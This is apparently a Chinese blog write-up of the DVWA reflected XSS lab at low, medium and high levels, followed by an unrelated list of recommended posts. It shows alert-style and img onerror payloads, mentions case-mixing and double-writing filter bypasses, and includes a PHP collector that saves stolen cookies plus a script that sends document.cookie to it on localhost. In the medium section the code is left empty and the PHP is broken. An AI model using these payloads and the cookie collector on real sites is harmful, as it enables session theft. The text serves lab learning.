dvwa,xss反射型low&&medium

xss,反射型,low&&medium

low

发现xss

本关无过滤

cpp 复制代码
<script>alert(/xss/)</script>
//或
<script>confirm(/xss/)</script>
//或
<script>prompt(/xss/)</script>

出现弹框则存在xss,其中alert()confirm()prompt()为弹框函数

本地搭建

在www目录下放置cookie.php内容如下

cpp 复制代码
<?php
 
$cookie=$_GET['cookie'];//将get请求参数存储到cookie变量中
 
file_put_contents('cookie.txt',$cookie);//把偷取的用户cookie写到cookie.txt文件中。
 
?>

js代码如下

cpp 复制代码
<script>document.location='http://127.0.0.1/cookie.php/?cookie='+document.cookie;</script>
 
//document.location将页面的内容指定到指定位置。

再在www目录下放置cookie.txt文件用于存放盗取的cookie

实操

目前txt文件什么也没有,我们执行js代码
没有报错解析成功,可以看到url地址栏中有用户的cookie此cookie已经储存进了攻击者的txt文件盗取成功

medium

关对

作为初学者的我第一次接触比较浅的绕过思路

Xss反射型

(一):判断是否存在xss

1:无过滤

使用弹窗函数编写js代码,成功弹框

输入其他标签:(未知领域)

输入<img src=x οnerrοr=alert(/xss/)>,成功弹窗

3:那尝试使用大小写混淆

4:或者双写绕过

<sc

5:还有很多方法自己探究吧相信在以后会掌握更多方法

(二):Js代码如下

(三):盗取cookie

本地www目录下搭建cookie.php

内容如下
<?php cookie=_GET['cookie'];//将get请求参数存储到cookie变量中 file_put_contents('cookie.txt',$cookie);//把偷取的用户cookie写到cookie.txt文件中。 ?>

再创建cookie.txt文档用于存储盗取的cookie

high

尝试别的语言就可以执行

cpp 复制代码
<img src=1 onerror=alert(1)>
相关推荐
w2018005 分钟前
段永平投资问答录pdf完整版
笔记·pdf
我的征途是星辰大海。12 分钟前
设计模式(学习笔记)(第一章)
笔记·学习·设计模式
弘毅 失败的 mian17 分钟前
STM32 时钟详解
经验分享·笔记·stm32·单片机·嵌入式硬件·嵌入式
qeen8720 分钟前
【算法笔记】差分与经典例题解析
c语言·c++·笔记·学习·算法·差分
中屹指纹浏览器26 分钟前
2026分布式多账号运营下指纹浏览器集群调度方案
经验分享·笔记
摇滚侠31 分钟前
Java 零基础全套视频教程,面向对象(进阶),笔记 90-103
java·开发语言·笔记
234710212733 分钟前
4.22 学习笔记
软件测试·笔记·python·学习
智者知已应修善业40 分钟前
【100赫兹50分频得到2赫兹频率74HC14+74HC160】2023-6-26
驱动开发·经验分享·笔记·硬件架构·硬件工程
sheeta199844 分钟前
LeetCode 每日一题笔记 日期:2026.04.22 题目:2452. 距离字典两次编辑以内的单词
笔记·算法·leetcode
Strugglingler1 小时前
Linux Device Drivers-第六章 高级字符驱动操作
linux·笔记